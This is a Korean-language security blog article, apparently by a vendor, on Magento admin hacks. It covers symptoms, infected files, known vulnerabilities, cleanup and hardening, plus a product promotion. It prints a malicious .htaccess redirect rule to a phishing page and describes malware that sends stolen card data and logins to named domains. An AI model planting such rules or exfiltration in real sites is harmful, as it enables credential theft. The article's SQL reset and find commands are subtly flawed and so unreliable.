마젠토(Magento)는 전 세계 전자상거래 성장에 크게 기여해 온 오픈소스 커머스 플랫폼입니다. 무료 버전(커뮤니티 에디션)과 유료 버전(엔터프라이즈 에디션)으로 제공되며, 오픈소스 이커머스 소프트웨어 시장을 선도하고 있습니다. Magento 2는 한동안 출시되어 있으며 보안과 성능 면에서 획기적인 개선이 이루어졌습니다. 하지만 대부분의 사이트는 여전히 구버전을 사용하고 있어 마젠토 관리자 해킹(Magento Admin Hack) 등 각종 공격에 취약한 상황입니다. 마젠토의 CEO인 마크 라벨(Mark Lavelle) 역시 이러한 보안 위험을 인지하고 다음과 같이 언급한 바 있습니다.
마젠토 관리자 해킹: 실제 사례
관리자 패널은 마젠토 스토어에서 가장 중요한 영역 중 하나로, 사이트에 대한 높은 권한 접근을 제공합니다. 따라서 마젠토 관리자 해킹으로 인해 관리자 패널이 침해되면 사용자는 도움을 요청할 수밖에 없습니다. 실제로 피해를 입은 사용자들이 커뮤니티 포럼에서 지원을 요청하는 모습을 종종 볼 수 있습니다.
마젠토 관리자 해킹: 주요 증상
- 고객들이 신용카드 정보 도난에 대한 불만을 제기합니다.
- 마젠토 대시보드에 알 수 없는 관리자 계정이 여러 개 나타납니다.
- 사이트가 여러 미지의 IP 주소에서 접속됩니다.
- 마젠토 스토어가 훼손(defacing)되었습니다.
- 웹사이트 스캔 시 저장된 신용카드 정보가 발견됩니다.
- FTP 로그에 미지의 기기에서의 접속 시도 기록이 있습니다.
- 파일 내에 악성 코드가 삽입되어 관리자를 피싱 페이지로 리디렉션합니다.
- 마젠토 스토어가 검색 엔진에 블랙리스트로 등록되었습니다.
- 외부 호스팅을 사용 중이라면 '계정이 정지되었습니다'라는 메시지가 표시됩니다.
마젠토 관리자 해킹: 자주 감염되는 파일
a) config.php & env.php
config.php와 env.php는 마젠토 설치 환경에서 매우 중요한 파일입니다. 이 파일들은 Magento 2 배포 설정(deployment configuration)의 일부로, 설치 환경의 공유 및 시스템별 설정 정보를 담고 있습니다. Magento 2의 배포 설정은 app/etc/config.php와 app/etc/env.php 두 파일로 나뉘며, 파일 시스템과 데이터베이스 간의 연결을 담당합니다. 특히 env.php에는 데이터베이스 연결 자격 증명이 포함되어 있으며, 그 외 다음과 같은 용도로도 활용됩니다.
- 보안 키(security keys) 정의
- 데이터베이스 접두사(prefix) 지정
- 관리자 패널 기본 언어 설정
app/etc/config.php는 자동 생성되는 파일로, 설치된 모듈, 테마, 언어 패키지 목록과 공유 구성 설정을 저장합니다. 자동 생성되는 파일이기 때문에 Magento 2 저장소나 릴리스에는 포함되어 있지 않습니다.
Magento 2 참고 사항
Magneto 2.2부터 app/etc/config.php 파일은 더 이상 .gitignore 항목에 포함되지 않습니다. 이는 소프트웨어 개발 편의성을 높이기 위한 조치였습니다.
업데이트: 독자 피드백을 반영하여 Magento DevDocs(https://devdocs.magento.com/guides/v2.3/config-guide/config/config-php.html) 내용에 맞춰 해당 섹션을 수정했습니다.
해커들은 사용자 자격 증명을 탈취하기 위해 config.php에 악성 코드를 삽입하는 경우가 많습니다. 실제 발견된 악성 코드 샘플은 아래와 같습니다.
코드 상단에는 'patch'라는 악성 함수가 포함되어 있으며, 이 함수는 파일 내용을 변조합니다. 변조된 파일에는 외부 소스(Pastebin)에서 가져온 악성 코드가 삽입되며, 결제 및 사용자 관련 파일들에 영향을 미칩니다.
/app/code/core/Mage/Payment/Model/Method/Cc.php
/app/code/core/Mage/Payment/Model/Method/Abstract.php
/app/code/core/Mage/Admin/Model/Session.php
/app/code/core/Mage/Admin/Model/Config.php
또한 이 악성 코드는 탐지를 회피하기 위해 base64 인코딩을 사용하며, 그 외에도 다양한 교묘한 은닉 기법을 동원합니다. 예를 들어 $link_a = $link.'YTGgAnrv';라는 코드는 $link_a = 'hxxp://pastebin[.]com/raw/YTGgAnrv';로 해석됩니다. 탈취된 관리자 로그인 정보와 신용카드 정보는 다음 두 도메인으로 유출됩니다.
hxxp://magento.ontools[.]net/update
hxxp://www.bgsvetlina[.[com/post.php
아울러 이 악성코드는 "error_reporting(0);"을 사용해 오류 보고를 억제함으로써 감염 사실이 드러나지 않도록 만듭니다. 결국 이 악성코드는 신용카드 정보 탈취와 마젠토 관리자 영역 해킹을 모두 수행할 수 있었던 것입니다.
b) Index.php
Index.php는 마젠토 스토어의 시작점(랜딩 페이지) 역할을 하는 파일입니다. 공격자들은 스토어 훼손(defacing) 등 다양한 공격에 이 파일을 활용합니다. 경우에 따라서는 랜섬웨어가 모든 파일 내용을 암호화하고 index.php에만 몸값 요구 메시지를 남기기도 합니다. 또한 업데이트 과정에서도 문제가 발생할 수 있습니다. 일부 웹 관리자는 시스템 업데이트 시 index 파일 이름을 index.php.old로 변경하는데, 이러한 파일에는 중요한 정보가 담겨 있어 공격자가 자동화 스캐너로 추후 발견할 수 있습니다.
c) .htaccess
.htaccess 파일을 사용하면 디렉터리 단위로 마젠토 설정을 변경할 수 있습니다. httpd.conf/apache.conf에 정의된 기본 설정을 수정할 수 있게 해주며, 이 파일에 작성된 지시문은 해당 폴더와 하위 폴더 모두에 적용됩니다. 또한 .htaccess는 사이트 접근 방식을 변경하는 데에도 활용됩니다. 주요 활용 예는 다음과 같습니다.
- 마젠토 스토어의 특정 폴더 접근 차단
- 스토어 리다이렉트(Redirect) 설정
- HTTPS 강제 적용
- 스크립트 삽입 공격 일부 완화
- 봇에 의한 사용자명 열거(username enumeration) 차단
- 이미지 핫링크(hotlinking) 차단
- 스토어 파일 자동 다운로드 강제
이렇게 강력한 파일이 침해되면 공격자가 스팸 유포 등에 악용할 수 있습니다. .htaccess 파일에 악성 코드가 삽입되면 사용자가 다른 페이지로 강제 리디렉션될 수 있는데, 실제 발견된 악성 코드 시그니처 예시는 다음과 같습니다.
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* https://PhishingDomain.tld/phish.php?t=3 [R,L]
마지막 줄의 악성 코드가 사이트 트래픽을 리디렉션합니다. 사용자는 https://PhishingDomain.tld로 이동하게 되며, 이곳에서 phish.php 스크립트가 로드됩니다. 이 스크립트는 진짜 관리자 로그인 페이지처럼 위장되어 있어, 방심한 사용자가 자격 증명을 공격자에게 넘겨줄 수 있습니다. 이것이 바로 마젠토 관리자 영역 해킹으로 이어지는 경로입니다.
마젠토 관리자 해킹: 주요 공격 유형
마젠토는 2018년 11월 28일 SUPEE-10975라는 제목의 긴급 보안 업데이트 번들을 출시했습니다. 여기에는 마젠토 스토어 침해로 이어질 수 있는 취약점에 대한 핵심 보안 업데이트가 포함되어 있습니다. 대표적인 공격 유형은 다음과 같습니다.
1) 마젠토 인증 무차별 대입 공격(Brute Force)
무차별 대입 공격은 공격자가 올바른 비밀번호를 찾을 때까지 여러 비밀번호를 반복해서 시도하는 방식입니다. PRODSECBUG-1589로 명명된 취약점이 대표적인 사례입니다. 이 취약점은 Magento Open Source 1.9.4.0 미만 및 Magento Commerce 1.14.4.0 미만 버전에 영향을 미칩니다. 이를 악용하면 공격자는 RSS 노드에 무차별 대입 요청을 보낼 수 있으며, 일부 노드는 관리자 인증을 필요로 하므로 관리자 비밀번호를 추측할 수 있게 됩니다. 이 취약점은 심각도 점수 9점을 받을 정도로 위험하며, 관리자 패널을 송두리째 침해할 수 있습니다.
2) 마젠토 원격 코드 실행(RCE)
RCE(Remote Code Execution) 취약점은 공격자가 마젠토 스토어에서 검증되지 않은 코드를 실행할 수 있게 합니다. Magento Community Edition 및 Enterprise Edition 2.0.6 미만 버전은 RCE 버그에 취약했습니다. 이 취약점은 원격 공격자가 PHP 객체 삽입(Object Injection) 공격을 수행할 수 있게 하며, 조작된 직렬화된 장바구니 데이터를 통해 임의의 PHP 코드를 실행할 수 있습니다. 이 버그의 익스플로잇은 이미 공개되었으며 Metasploit 모듈도 존재합니다. 또 다른 RCE 결함인 PRODSECBUG-2159는 Magento Open Source 1.9.4.0 미만, Magento Commerce 1.14.4.0 미만, Magento 2.1 2.1.16 미만, Magento 2.2 2.2.7 미만 버전에서 발견되었으며 CVSSv3 심각도 점수는 8.5입니다. SUPEE-10975 보안 업데이트에도 RCE 관련 보안 패치가 다수 포함되어 있으며, 그중 일부는 동영상 첨부 시 파일 업로드만으로도 악용 가능한 수준입니다(PRODSECBUG-2156).
3) 마젠토 크로스 사이트 스크립팅(XSS)
XSS(Cross-Site Scripting) 취약점은 마젠토 스토어에서 흔히 발견되는 웹 취약점 중 하나입니다. ODSECBUG-2053으로 명명된 XSS 결함은 Magento Open Source 1.9.4.0 미만, Magento Commerce 1.14.4.0 미만, Magento 2.1 2.1.16 미만, Magento 2.2 2.2.7 미만 버전에 영향을 미칩니다. 이 버전들은 뉴스레터 템플릿을 통한 XSS 공격에 취약했습니다. XSS 공격에 성공하면 공격자가 피싱 자바스크립트를 통해 관리자를 속여 로그인 자격 증명을 노출시킬 수 있으며, 이는 곧바로 관리자 해킹으로 이어집니다.
4) 마젠토 크로스 사이트 요청 위조(CSRF)
CSRF(Cross-Site Request Forgery) 공격은 사용자가 사용 중인 웹 애플리케이션에서 의도하지 않은 요청을 실행하도록 속이는 공격입니다. 다만 공격자는 요청을 실행할 수 있을 뿐 응답 결과를 볼 수는 없으므로, 직접적인 데이터 탈취는 불가능하다는 점이 특징입니다. 마젠토에서는 PRODSECBUG-2125, PRODSECBUG-2088, PRODSECBUG-2140 등 다수의 CSRF 버그가 발견되었습니다. 이를 통해 공격자는 사용자를 속여 다음을 삭제할 수 있습니다.
- 모든 블록(Blocks)을 한꺼번에 삭제
- 권한 상승을 통해 마젠토 스토어의 고객 그룹 삭제
- 마젠토 스토어의 사이트맵 삭제
해킹된 마젠토 사이트 정리에 전문가의 도움이 필요하신가요? 채팅 위젯으로 메시지를 남겨주시면 기꺼이 도와드리겠습니다. 지금 바로 마젠토 관리자 해킹을 해결하세요.
5) 마젠토 관리자 해킹: 파일 정리 방법
먼저 마젠토 관리자 패널을 보호하기 위해 안전한 비밀번호로 변경해야 합니다. Magento 1과 2 모두 다음 SQL 문을 사용해 변경할 수 있습니다: update users set pass = concat('ZZZ', sha(concat(pass, md5(rand()))));
Magento 1과 2 모두에 대해, 감염된 파일 내부의 악성 코드를 점검해야 합니다. 자주 확인해야 할 파일은 다음과 같습니다.
Index.php
.htaccess
config.php
Cron Jobs
이 파일들 내부에서 악성 코드를 찾아 주석 처리한 후 추후 제거하세요. 또한 base64로 인코딩된 악성 코드를 검색해야 하는데, 간단한 명령어 하나로 해결할 수 있습니다.
find . -name "*.php" -exec grep "base64"'{}'; -print &> hiddencode.txt
이 명령은 base64로 인코딩된 코드를 스캔하여 hiddencode.txt 파일에 저장합니다. 찾아낸 코드는 온라인 분석 도구를 활용해 추가 분석하면 됩니다. phpMyAdmin 같은 도구는 여러 감염 파일을 한 번에 검색하는 데 큰 도움이 됩니다. 아래 이미지와 같이 phpMyAdmin으로 악성 코드를 검색할 수 있습니다.
마젠토 관리자 패널 보안 강화 방법
1) 업데이트 및 백업
마젠토는 보안 업데이트를 꾸준히 릴리스합니다. 최신 패치가 항상 설치되어 있는지 확인하세요. 아직 Magento 2로 마이그레이션하지 않았다면 지금 바로 진행하는 것이 좋습니다. Magento 2는 더 안전하고 성능도 향상되었습니다. 또한 마젠토 스토어의 백업을 정기적으로 유지하여 공격 발생 시 빠르게 복구할 수 있도록 준비하세요.
2) HTTPS 사용
고객과 마젠토 스토어 간의 정보 교환을 암호화하는 것은 필수입니다. SSL 표준을 사용해 고객의 온라인 거래를 보호하세요. Magento 1에서는 다음 3단계로 설정할 수 있습니다.
- 먼저 Admin Panel > System > Configuration > General > Web > Secure로 이동합니다.
- Base_url 설정을 "http"에서 "https"로 변경합니다.
- 프론트엔드와 관리자 영역에서 보안 URL 사용을 활성화합니다.
Magento 2의 경우 Stores > Settings > Configuration > Web > General로 이동하면 됩니다. 아래 이미지를 참고하세요.
3) 기본 관리자 URL 무작위화
로그에서 마젠토 관리자 영역으로 향한 잦은 무차별 대입 공격이 확인된다면, 가장 좋은 해결책은 관리자 URL을 무작위화하는 것입니다. 기본 URL 대신 원하는 URL로 변경하세요. Magento 1에서는 Admin > Stores > Configuration > Advanced > Admin으로 이동하여 변경할 수 있습니다.
Magento 2에서도 동일한 절차로 진행됩니다. Stores > Configuration > Advanced로 이동하세요. 자세한 내용은 아래 이미지를 참고하시기 바랍니다.
4) 이중 인증(2FA) 사용
이중 인증(Two-Factor Authentication)은 마젠토 관리자 패널에 추가 보안 계층을 더해줍니다. 주로 Google Authenticator 앱을 기반으로 작동하며, 먼저 관리자가 QR 코드를 스캔하면 30초 후 만료되는 무작위 6자리 숫자가 생성됩니다. 따라서 로그인 자격 증명 외에 인증 키까지 입력해야만 관리자 패널에 접근할 수 있습니다. 다만 이 기능은 마젠토에 기본 탑재되어 있지 않아 서드파티 플러그인을 구매해야 하며, 해당 플러그인은 Magento 1과 Magento 2 모두에서 작동합니다.
5) 접근 제한
관리자 패널은 관리자 외에는 접근할 필요가 없는 영역입니다. 따라서 특정 IP에서만 접근할 수 있도록 허용하는 것이 현명한 선택입니다. Magento 1과 2 모두 .htaccess 파일을 통해 설정할 수 있으며, 특정 IP만 허용하려면 .htaccess 파일에 다음 코드를 추가합니다.
order deny,allow
deny from all
allow from xxx.xxx.xxx.xxx
6) 보안 솔루션 활용
사이트를 정리하고 복구했더라도 마젠토 관리자 해킹은 재발할 수 있습니다. 원인은 공격자가 남긴 백도어이거나, 패치되지 않은 채 방치된 취약점일 수 있습니다. 이런 상황을 예방하려면 WAF(Web Application Firewall) 또는 일종의 보안 솔루션 사용을 강력히 권장합니다. 핵심은 마젠토 스토어에 맞는 올바른 방화벽을 찾는 것입니다. 확장성, 사용 편의성, 가용 리소스 등 여러 요소를 구매 전에 고려해야 합니다. Astra Website Protection은 이러한 요구 사항을 모두 충족할 수 있어 적극 추천할 만합니다. Astra 방화벽은 확장성이 뛰어나 개인 블로그부터 대형 스토어까지 모두 보호할 수 있으며, 복잡한 보안 지식 없이도 간단한 대시보드를 통해 모든 것을 관리할 수 있습니다.
방화벽 외에도 Astra는 종합 보안 감사(audit)와 모의 해킹(pentesting) 서비스를 제공합니다. 이를 통해 마젠토 스토어 내 취약점을 공격자보다 먼저 발견할 수 있는 우위를 확보할 수 있습니다.